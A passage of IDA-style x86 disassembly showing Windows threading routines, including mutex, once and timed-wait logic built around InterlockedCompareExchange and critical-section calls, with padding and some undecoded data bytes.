loc_430D7A:				; CODE XREF: sub_430C00+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430D8E:				; CODE XREF: sub_430C00+4Dj
					; sub_430C00+187j
		mov	[esi+0Ch], eax


loc_430D91:				; CODE XREF: sub_430C00+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D98:				; CODE XREF: sub_430C00+Aj
					; sub_430C00+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430C00	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430E10	proc near		; CODE XREF: sub_430C00+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430EAE
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430E42
		or	eax, 0FFFFFFFFh


loc_430E2C:				; CODE XREF: sub_430E10+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 28E03CEh
		test	eax, eax
		jnz	short loc_430E9C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E42:				; CODE XREF: sub_430E10+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430E2C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E9C:				; CODE XREF: sub_430E10+2Aj
		cmp	eax, 102h
		jnz	short loc_430EAE
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430EAE:				; CODE XREF: sub_430E10+Bj
					; sub_430E10+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430F00	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_430FA0
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_430FA0
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_430F95
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430F4A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430F4A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F4A:				; CODE XREF: sub_430F00+2Aj
					; sub_430F00+40j
		cmp	[esi+8], edi
		jnz	short loc_430F58
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_430F9A


loc_430F58:				; CODE XREF: sub_430F00+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		call	near ptr 7C901005h
		nop
		push	esi
		call	near ptr 28E071Eh
		nop
		test	eax, eax
		jl	short loc_430F88
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F88
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_430F88:				; CODE XREF: sub_430F00+6Ej
					; sub_430F00+7Ej
		push	edi
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F95:				; CODE XREF: sub_430F00+1Ej
		mov	ebx, 16h


loc_430F9A:				; CODE XREF: sub_430F00+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FA0:				; CODE XREF: sub_430F00+Aj
					; sub_430F00+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430F00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430FE0	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_431065
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_431065
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431002
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_431002:				; CODE XREF: sub_430FE0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_431060
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431033
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43102B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43102B:				; CODE XREF: sub_430FE0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431033:				; CODE XREF: sub_430FE0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43105B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43105B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43105B:				; CODE XREF: sub_430FE0+57j
					; sub_430FE0+6Dj
		mov	edi, 10h


loc_431060:				; CODE XREF: sub_430FE0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431065:				; CODE XREF: sub_430FE0+Aj
					; sub_430FE0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310A0:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310D0:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431100:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43110C
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_43110C:				; CODE XREF: ___:00431106j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431120:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_431132
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431132:				; CODE XREF: ___:00431128j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_431155
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_431155
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 0B5E89056h, 0E80257EEh, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_431155:				; CODE XREF: ___:00431136j
					; ___:0043113Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43118E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43118E:				; CODE XREF: ___:00431184j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4311F6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 28E03CEh
		test	eax, eax
		jnz	short loc_4311E7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4311D6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4311D6:				; CODE XREF: ___:004311B6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311E7:				; CODE XREF: ___:004311A2j
		cmp	eax, 102h
		jz	short loc_4311FC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311F6:				; CODE XREF: ___:00431194j
		nop
		call	near ptr 29B0000h


loc_4311FC:				; CODE XREF: ___:004311ECj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431250:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43126B
		mov	eax, [esp+0]


loc_43126B:				; CODE XREF: ___:00431265j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431280	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 2950856h
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E3D0, eax
		nop
		call	near ptr 2960000h
		test	eax, eax
		mov	dword_50E3EC, eax
		jnz	short loc_4312CD
		mov	eax, dword_50E3D0
		mov	dword_50E3EC, offset sub_4012D0
		push	eax
		nop
		call	near ptr 28C0377h
		mov	dword_50E3D0, 0


loc_4312CD:				; CODE XREF: sub_431280+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431280	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431300	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	short loc_431350
		mov	eax, dword_50E3D8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
		dd 50E3D80Dh, 4C48300h,	6A118Bh, 0C5E89052h, 0E80248ECh
		dd 0FFFD02FBh, 50E3D0A1h, 74C08500h, 0E8905007h, 248F027h
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: sub_431300+7j
		mov	eax, 1
		retn
sub_431300	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431380	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431380	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4313A0	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	short loc_4313DB
		mov	eax, dword_50E3D8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah,	8BFFFD03h
		dd 50E3D80Dh, 4C48300h,	6A118Bh, 25E89052h
		db 0ECh, 48h, 2
; ---------------------------------------------------------------------------


loc_4313DB:				; CODE XREF: sub_4313A0+7j
		mov	eax, 1
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431410:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E9A0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_50E3E0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43144E


loc_43142C:				; CODE XREF: ___:0043144Cj
		test	esi, esi
		jnz	short loc_43144E
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43142C


loc_43144E:				; CODE XREF: ___:0043142Aj
					; ___:0043142Ej
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431490	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4314A9
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4314A9
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_4314A9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4314A9:				; CODE XREF: sub_431490+6j
					; sub_431490+Cj ...
		mov	eax, 1
		retn
sub_431490	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4314C0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	short loc_4314CF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4314CF:				; CODE XREF: sub_4314C0+7j
		push	0
		push	offset dword_50E3D8
		mov	dword_50E3D4, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_4314FE
		push	eax
		push	offset dword_50E3DC
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_431503


loc_4314FE:				; CODE XREF: sub_4314C0+2Aj
		call	sub_40163B


loc_431503:				; CODE XREF: sub_4314C0+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E8E0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E920
		call	esi
		push	offset dword_50E980
		call	esi
		push	offset dword_50E960
		call	esi
		mov	eax, dword_50E3D4
		pop	esi
		retn
sub_4314C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431560	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	locret_431619
		mov	eax, dword_50E3D8
		test	eax, eax
		jz	short loc_431589
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3D8, 0


loc_431589:				; CODE XREF: sub_431560+14j
		mov	eax, dword_50E3DC
		test	eax, eax
		jz	short loc_4315A5
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3DC, 0


loc_4315A5:				; CODE XREF: sub_431560+30j
		push	esi
		push	offset dword_50E8E0
		call	near ptr 7C901005h
		nop
		mov	eax, dword_44573C
		cmp	eax, 1
		jz	short loc_4315D3
		push	edi
		mov	edi, dword_50FAC4


loc_4315C2:				; CODE XREF: sub_431560+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4315C2
		pop	edi


loc_4315D3:				; CODE XREF: sub_431560+59j
		push	offset dword_50E8E0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_50F858
		push	offset dword_50E960
		call	esi
		push	offset dword_50E980
		call	esi
		push	offset dword_50E920
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E8E0
		call	esi
		mov	dword_50E3D4, 0
		pop	esi

locret_431619:				; CODE XREF: sub_431560+7j
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431650:				; CODE XREF: ___:loc_401B95j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_50E3D8
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436A5C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4316AC
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: ___:00431699j
		dec	eax
		jz	short loc_4316B5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316B5:				; CODE XREF: ___:004316ADj
		mov	esi, [edi+14h]


loc_4316B8:				; CODE XREF: ___:004316AAj
					; ___:004316B3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4316D7
		call	sub_4017C1
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4316D7:				; CODE XREF: ___:004316BCj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431730	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_4317AA
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431788
		push	eax
		call	esi


loc_431788:				; CODE XREF: sub_431730+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_4317AA
		test	[esp+8Ch+var_8], 1
		jnz	short loc_4317AA
		push	eax
		call	esi


loc_4317AA:				; CODE XREF: sub_431730+11j
					; sub_431730+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317F0	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431811
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431811:				; CODE XREF: sub_4317F0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_431852
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431852:				; CODE XREF: sub_4317F0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431877
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431877:				; CODE XREF: sub_4317F0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4317F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4318C0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4318E7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_4318E7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4318E7
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_4318E7:				; CODE XREF: sub_4318C0+7j
					; sub_4318C0+Ej ...
		pop	esi
		retn
sub_4318C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431900	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43196D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_43196D
		push	edi


loc_431915:				; CODE XREF: sub_431900+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_431968
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_431943
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431943
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_431943
		push	eax


loc_43193E:				; CODE XREF: ___:004319B7j
		call	edi	; free
		add	esp, 4


loc_431943:				; CODE XREF: sub_431900+27j
					; sub_431900+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_431968:				; CODE XREF: sub_431900+20j
		test	esi, esi
		jnz	short loc_431915
		pop	edi


loc_43196D:				; CODE XREF: sub_431900+8j
					; sub_431900+12j
		pop	esi
		pop	ebx
		retn
sub_431900	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431990	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E3D8
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431990	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F7B3918h], edx
		ja	short loc_43193E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_4319C0+1


loc_4319C0:				; CODE XREF: ___:004319BEj
		jz	short loc_4319E5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_4319D2
		dec	eax
		jnz	short loc_4319D5
		or	esi, 0FFFFFFFFh
		jmp	short loc_4319D5
; ---------------------------------------------------------------------------


loc_4319D2:				; CODE XREF: ___:004319C8j
		mov	esi, [edi+14h]


loc_4319D5:				; CODE XREF: ___:004319CBj
					; ___:004319D0j
		call	sub_4017C1
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		pop	esi


loc_4319E5:				; CODE XREF: ___:loc_4319C0j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A20	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431A20	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431A3F


loc_431A32:				; CODE XREF: ___:00431A3Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431A32


loc_431A3F:				; CODE XREF: ___:00431A30j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A80	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_431A80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431AC0	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 28F0AD0h
		push	eax
		call	near ptr 28B0974h
		nop
		test	eax, eax
		jz	short loc_431B02
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431AEC:				; CODE XREF: sub_431AC0+33j
		test	eax, edx
		jz	short loc_431AF1
		inc	ecx


loc_431AF1:				; CODE XREF: sub_431AC0+2Ej
		shl	eax, 1
		jnz	short loc_431AEC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431B02:				; CODE XREF: sub_431AC0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B30	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E980
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431B64
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
